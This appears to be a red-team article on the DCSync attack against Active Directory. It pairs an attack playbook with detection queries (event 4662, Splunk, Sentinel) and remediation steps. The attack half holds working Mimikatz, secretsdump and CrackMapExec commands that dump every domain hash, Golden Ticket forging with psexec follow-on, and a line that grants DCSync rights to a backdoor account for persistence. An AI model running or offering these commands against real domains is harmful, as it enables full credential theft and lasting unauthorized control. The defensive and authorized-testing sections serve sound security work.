DCSync attack abusing Active Directory replication to extract domain credentials

DCSync Attack: Extracting Domain Credentials

DCSync attack technique that abuses AD replication rights to extract password hashes directly from a Domain Controller.

Jul 7, 2026
2 min read

Introduction

DCSync abuses the DS-Replication-Get-Changes-All right — part of the Directory Replication Service (DRS) Remote Protocol — to impersonate a Domain Controller and request password data for any account directly from a DC. No code runs on the target DC, no process injection occurs, and no local admin rights on the DC are required. The attack works because AD replication is a legitimate, trusted function; the DC sees the request as coming from another DC and responds with account secrets.

The replication rights that make this possible are DS-Replication-Get-Changes (GUID 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2) and DS-Replication-Get-Changes-All (GUID 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2). The second right — the "All" variant — is what unlocks access to replicated secrets such as NT hashes, Kerberos keys, and reversibly encrypted passwords. By default these rights exist only on Domain Controllers and the Enterprise Read-Only Domain Controllers group, but delegated replication accounts (Azure AD Connect sync, third-party backup agents) or misconfigured ACLs routinely expose them to ordinary domain accounts.

The KRBTGT account hash is the primary target. With it you can generate Golden Tickets valid for the lifetime of the current KRBTGT key pair, effectively owning the domain until both successive KRBTGT password resets are performed. Every privileged service account hash pulled via DCSync represents the same instant escalation path.

Authorization Required

DCSync against production domain controllers without explicit written authorization is a criminal offense in most jurisdictions. The techniques documented here are for authorized penetration testing and red team operations only. Pulling credential material from a production DC, even as part of a proof-of-concept, constitutes unauthorized access to computer systems.

Impact

  • Full domain compromise — KRBTGT hash enables Golden Ticket creation, providing persistent, undetectable domain access until KRBTGT is rotated twice
  • Offline credential exposure — all account NT hashes, Kerberos AES keys, and LM hashes (where enabled) extracted without touching LSASS
  • No DC footprint — no process injection, no code execution on the DC, reduced forensic artifact surface
  • Service account pivoting — service account hashes crackable offline or usable directly in pass-the-hash against every system the account touches
  • Trust relationship traversal — extracting trust account hashes ([DOMAIN]$) enables inter-forest and inter-domain lateral movement
  • Persistence — attacker can re-DCSync at will if the delegated rights are not revoked, even after an incident response password reset

Technical Details

The DRS protocol (MS-DRSR) is used by DCs to synchronize the AD database. When a DC receives a GetNCChanges RPC call, it checks the caller's rights against the NC root object (DC=domain,DC=com). If the caller holds DS-Replication-Get-Changes-All, the DC streams back attribute deltas including unicodePwd (NT hash), supplementalCredentials (Kerberos keys), and other secret attributes.

An attacker with sufficient rights authenticates to the DC over RPC, invokes DRSGetNCChanges, and receives the same attribute payload a legitimate DC would receive during replication. The request is indistinguishable at the protocol level from legitimate replication traffic.

Identify Accounts with Replication Rights

Before executing DCSync, confirm which accounts hold the required rights. BloodHound marks this as the DCSync edge on any principal that holds both GetChanges and GetChangesAll on the domain object.

Enumerate DCSync rights with PowerView
# Import PowerView
Import-Module .\PowerView.ps1

# Find all principals with DCSync rights on the domain root
$DomainSID = (Get-DomainSID)
Get-DomainObjectAcl -DistinguishedName "DC=corp,DC=local" -ResolveGUIDs |
  Where-Object {
    $_.ObjectAceType -match "DS-Replication-Get-Changes" -and
    $_.ActiveDirectoryRights -match "ExtendedRight"
  } |
  Select-Object SecurityIdentifier, ObjectAceType, AceType |
  ForEach-Object {
    $sid = $_.SecurityIdentifier
    Convert-SidToName $sid
  }
BloodHound Cypher — find DCSync principals
MATCH p=(n)-[:DCSync]->(d:Domain) RETURN p

Legitimate holders: Domain Controllers, Enterprise Domain Controllers, ENTERPRISE DOMAIN CONTROLLERS. Any user or group outside those is an anomaly worth investigating before you weaponize it.

Verify Rights via LDAP (Alternative)

If BloodHound data is unavailable, query the domain NC root ACL directly.

Raw ACL inspection for replication GUIDs
$root = [ADSI]"LDAP://DC=corp,DC=local"
$acl  = $root.psbase.ObjectSecurity.GetAccessRules($true, $true, [System.Security.Principal.SecurityIdentifier])

$repl_guids = @(
  "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2",  # DS-Replication-Get-Changes
  "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2"   # DS-Replication-Get-Changes-All
)

$acl | Where-Object {
  $repl_guids -contains $_.ObjectType.ToString()
} | Select-Object IdentityReference, ObjectType, ActiveDirectoryRights

Execute DCSync with Mimikatz

From any domain-joined Windows host running as the compromised account (Domain Admin, delegated replication account, etc.):

Mimikatz — dump single account
# Pull KRBTGT hash
lsadump::dcsync /user:krbtgt

# Pull specific user
lsadump::dcsync /user:corp\Administrator

# Specify DC explicitly (useful in multi-DC environments)
lsadump::dcsync /user:krbtgt /dc:DC01.corp.local

Mimikatz output for KRBTGT:

[DC] 'corp.local' will be the domain
[DC] 'DC01.corp.local' will be the DC server
[DC] 'krbtgt' will be the user account

Object RDN           : krbtgt

** SAM ACCOUNT **
SAM Username         : krbtgt
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration   :
Password last change : 3/12/2024 2:14:17 AM
Object Security ID   : S-1-5-21-3623811015-3361044348-30300820-502
Object Relative ID   : 502

Credentials:
  Hash NTLM: 4e9815869d2090ccfca61c1fe0d23986
    ntlm- 0: 4e9815869d2090ccfca61c1fe0d23986
    lm  - 0: 44f0a019fb2ff1fd8a05bb82abf4fb4f

Supplemental Credentials:
* Primary:Kerberos-Newer-Keys *
    Default Salt : CORP.LOCALkrbtgt
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 76a40753841e4de4954b0df327d2ef6ebe3f3e89e7e38c59d7d2af9aff3dc14d
      aes128_hmac       (4096) : 8f3d2e40e3d6c62b19aa2e8a7ce0d48c

Dump All Domain Accounts

To pull the complete NTDS.dit equivalent — all accounts, hashes, and Kerberos keys:

Mimikatz — dump all accounts
lsadump::dcsync /all /csv

The /csv flag outputs username:RID:LM:NT format suitable for direct import into Hashcat or CrackMapExec. Expect significant output volume on large domains; redirect to a file.

Execute DCSync from Linux with Impacket

secretsdump.py is the standard Linux-side tool and does not require a domain-joined host — it needs network access to port 445/135 on the DC.

Impacket secretsdump — NTLM hashes only
secretsdump.py corp.local/Administrator:'P@ssw0rd'@10.10.10.1 -just-dc-ntlm

# With NTLM pass-the-hash (no plaintext password)
secretsdump.py -hashes :a87f3a337d73085c45f9416be5787d86 corp.local/Administrator@10.10.10.1 -just-dc-ntlm

# Output to file
secretsdump.py corp.local/svc_sync:'SyncP@ss!'@10.10.10.1 -just-dc-ntlm -outputfile domain_hashes

The -just-dc-ntlm flag limits output to NT hashes without Kerberos keys — faster and less noisy. Drop the flag to pull full supplemental credentials including AES keys.

secretsdump output sample
corp.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:a87f3a337d73085c45f9416be5787d86:::
corp.local\krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4e9815869d2090ccfca61c1fe0d23986:::
corp.local\svc_sql:1112:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Golden Ticket from KRBTGT Hash

With the KRBTGT NT hash and domain SID, generate a Golden Ticket using Mimikatz:

Mimikatz — Golden Ticket generation
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-3623811015-3361044348-30300820 /krbtgt:4e9815869d2090ccfca61c1fe0d23986 /ptt

Or from Linux using ticketer.py:

Impacket ticketer — Golden Ticket
ticketer.py -nthash 4e9815869d2090ccfca61c1fe0d23986 \
  -domain-sid S-1-5-21-3623811015-3361044348-30300820 \
  -domain corp.local Administrator

# Use the ticket
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass corp.local/Administrator@DC01.corp.local

The ticket is valid for 10 years by default (Mimikatz) or until the KRBTGT password changes twice.

Attack Tools

Mimikatz DCSync cheatsheet
# Single account — NT hash + Kerberos keys
lsadump::dcsync /user:krbtgt

# Single account from specific DC
lsadump::dcsync /user:Administrator /dc:DC01.corp.local

# All accounts, CSV format
lsadump::dcsync /all /csv

# All accounts, full credential dump
lsadump::dcsync /all

# Target domain explicitly (in trust scenarios)
lsadump::dcsync /user:corp\krbtgt /domain:corp.local

Mimikatz requires SeDebugPrivilege on the calling process when running on a domain-joined host. Use privilege::debug if the process lacks it.

secretsdump.py DCSync cheatsheet
# Cleartext credentials
secretsdump.py corp.local/user:password@DC_IP -just-dc-ntlm

# Pass-the-hash
secretsdump.py -hashes :NTHASH corp.local/user@DC_IP -just-dc-ntlm

# Kerberos ticket authentication
secretsdump.py -k -no-pass corp.local/Administrator@DC01.corp.local

# Full dump including Kerberos AES keys
secretsdump.py corp.local/user:password@DC_IP -just-dc

# Single account
secretsdump.py corp.local/user:password@DC_IP -just-dc-user krbtgt

# Save output to file
secretsdump.py corp.local/user:password@DC_IP -just-dc-ntlm -outputfile hashes.txt

# Via SOCKS proxy
secretsdump.py -dc-ip 10.10.10.1 corp.local/user:password@DC_IP -just-dc-ntlm
CME DCSync via secretsdump
# Full domain dump via SMB (wraps secretsdump internally)
crackmapexec smb DC_IP -u Administrator -p 'P@ssw0rd' --ntds

# Pass-the-hash
crackmapexec smb DC_IP -u Administrator -H NTHASH --ntds

# DRSUAPI method (DCSync)
crackmapexec smb DC_IP -u Administrator -p 'P@ssw0rd' --ntds drsuapi

# VSS method (volume shadow copy — different technique)
crackmapexec smb DC_IP -u Administrator -p 'P@ssw0rd' --ntds vss

# Dump single user
crackmapexec smb DC_IP -u Administrator -p 'P@ssw0rd' --ntds --ntds-history
PowerView — enumerate DCSync rights before attacking
# Find accounts with DS-Replication-Get-Changes-All
Get-DomainObjectAcl -SearchBase "DC=corp,DC=local" -ResolveGUIDs |
  Where-Object { $_.ObjectAceType -eq "DS-Replication-Get-Changes-All" } |
  Select-Object SecurityIdentifier, AceType |
  ForEach-Object { Convert-SidToName $_.SecurityIdentifier }

# Check specific user for DCSync rights
Get-DomainObjectAcl -Identity "DC=corp,DC=local" -ResolveGUIDs |
  Where-Object {
    $_.SecurityIdentifier -eq (Get-DomainUser svc_sync).objectsid -and
    $_.ObjectAceType -match "DS-Replication-Get-Changes"
  }

# Add DCSync rights (if you have WriteDACL on domain root)
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" \
  -PrincipalIdentity svc_backdoor \
  -Rights DCSync

Detection

Event ID 4662 — Object Operation

The primary detection signal. Event ID 4662 fires on the DC when a replication operation accesses the domain object. The key fields to filter on:

FieldValue
Event ID4662
Object Type%{19195a5b-6da0-11d0-afd3-00c04fd930c9} (domainDNS)
Properties{1131f6ad-9c07-11d1-f79f-00c04fc2dcd2} (DS-Replication-Get-Changes-All)
AccessesControl Access

The event fires for every account replicated, so a full domain DCSync generates hundreds of 4662 events in rapid succession. The initiating IP address (IpAddress field) is the attacker's host, not a DC IP — that mismatch is the primary anomaly indicator.

Windows Event Log query — DCSync detection
<QueryList>
  <Query Id="0" Path="Security">
    <Select Path="Security">
      *[System[(EventID=4662)]]
      and
      *[EventData[Data[@Name='Properties'] and (Data='%%{1131f6ad-9c07-11d1-f79f-00c04fc2dcd2}')]]
      and
      *[EventData[Data[@Name='AccessMask']='0x100']]
    </Select>
  </Query>
</QueryList>

Splunk Detection Query

Splunk — DCSync from non-DC source
index=windows EventCode=4662
  Properties="*1131f6ad-9c07-11d1-f79f-00c04fc2dcd2*"
  AccessMask="0x100"
| eval is_dc=if(match(src_ip, "^10\.10\.10\.(1[0-9]|20)$"), "yes", "no")
| where is_dc="no"
| stats count, values(src_ip), values(SubjectUserName) by _time span=1m
| where count > 5

Replace the src_ip regex with your actual DC IP range.

KQL — Microsoft Sentinel

Sentinel — DCSync replication anomaly
SecurityEvent
| where EventID == 4662
| where Properties has "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2"
| where AccessMask == "0x100"
| extend SourceIP = tostring(EventData.IpAddress)
// Filter out known DC IPs
| where SourceIP !in ("10.10.10.10", "10.10.10.11")
| summarize Count=count(), Accounts=make_set(SubjectUserName) by SourceIP, bin(TimeGenerated, 5m)
| where Count > 3

Additional Detection Indicators

  • 4742 / 4723 — Computer account password change immediately after DCSync (attacker rotating extracted creds)
  • Network: DRS RPC traffic (\PIPE\lsarpc or \PIPE\drsuapi) from a workstation IP to DC port 135/445
  • 4768 with forged SID — Golden Ticket use generates 4768 events with Ticket Options: 0x40810010 and client IP not matching a real DC
  • Rapid sequential 4662 events — legitimate DC-to-DC replication generates them in batches; attacker replication targeting single accounts generates individual events clustered tightly

Privileged Access Monitoring

Establish a baseline of which hosts legitimately call DRSGetNCChanges by correlating LDAP audit logs with known replication topology. Alert immediately when any host outside that baseline generates 4662 with the DS-Replication-Get-Changes-All property.

Remediation

Audit and Remove Excessive Replication Rights

Find and remove unauthorized DCSync rights
# Find all non-default principals with DCSync rights
$DomainDN = (Get-ADDomain).DistinguishedName
$DefaultDCSync = @(
  (Get-ADGroup "Domain Controllers").SID,
  (Get-ADGroup "Enterprise Read-Only Domain Controllers").SID
)

Get-ACL "AD:$DomainDN" | Select-Object -ExpandProperty Access |
  Where-Object {
    $_.ObjectType -eq [Guid]"1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" -and
    $_.AccessControlType -eq "Allow" -and
    $_.IdentityReference.Translate([System.Security.Principal.SecurityIdentifier]) -notin $DefaultDCSync
  } |
  ForEach-Object {
    Write-Warning "Unexpected DCSync right: $($_.IdentityReference)"
    # Remove via AD ACL editor or dsacls
    # dsacls "$DomainDN" /D "$($_.IdentityReference):CA;Replicating Directory Changes All"
  }

Tiered Administration Model

Restrict which accounts can authenticate to DCs and hold replication-adjacent rights:

  • Tier 0 — Domain Controllers, AD management tools, KRBTGT, Domain Admins. These accounts never touch Tier 1 or Tier 2 systems.
  • Tier 1 — Server administrators. No rights on DCs or AD objects.
  • Tier 2 — Workstation administrators. No rights on servers or DCs.

Accounts used to manage Azure AD Connect or third-party AD sync tools hold DS-Replication rights by design — scope these accounts strictly and monitor them heavily.

Restrict Azure AD Connect Sync Account

Azure AD Connect creates a sync account with DS-Replication-Get-Changes and DS-Replication-Get-Changes-All for password hash sync. This account is a high-value DCSync target.

Locate and audit Azure AD Connect sync account
# Find the sync account (typically MSOL_xxxxxxxx)
Get-ADUser -Filter {SamAccountName -like "MSOL_*"} -Properties MemberOf, PasswordLastSet

# Verify it's not a member of privileged groups
Get-ADPrincipalGroupMembership -Identity "MSOL_abcd1234"

# Confirm login restrictions (should only authenticate from AAD Connect server)
Get-ADUser "MSOL_abcd1234" -Properties LogonWorkstations

Restrict the sync account's logon workstation attribute to only the Azure AD Connect server. Enable fine-grained password policy requiring 25+ character passwords and audit all authentications.

Privileged Access Workstations (PAWs)

Domain Admin and Tier 0 accounts should only log on from dedicated PAWs:

  • No internet access from PAW
  • BitLocker + Secure Boot + UEFI password
  • Credential Guard enabled
  • Windows Defender Application Control (WDAC) policy blocking untrusted binaries (including Mimikatz)
  • AppLocker / WDAC prevents execution of lsadump::dcsync

KRBTGT Password Rotation

Rotate KRBTGT twice to invalidate existing Golden Tickets. The two rotations must be separated by the maximum ticket lifetime (default 10 hours) to avoid breaking live Kerberos sessions:

KRBTGT rotation — requires Domain Admin
# Rotation 1
Set-ADAccountPassword -Identity krbtgt -NewPassword (ConvertTo-SecureString (
  -join ((65..90)+(97..122)+(48..57) | Get-Random -Count 40 | ForEach-Object {[char]$_})
) -AsPlainText -Force) -Reset

# Wait at least 10 hours (max ticket lifetime), then rotation 2

Microsoft's KRBTGT key roller script handles sequencing and replication delay automatically: New-KrbtgtKeys.ps1.

References

MITRE ATT&CK Techniques

Tools Documentation

Next Steps

On this page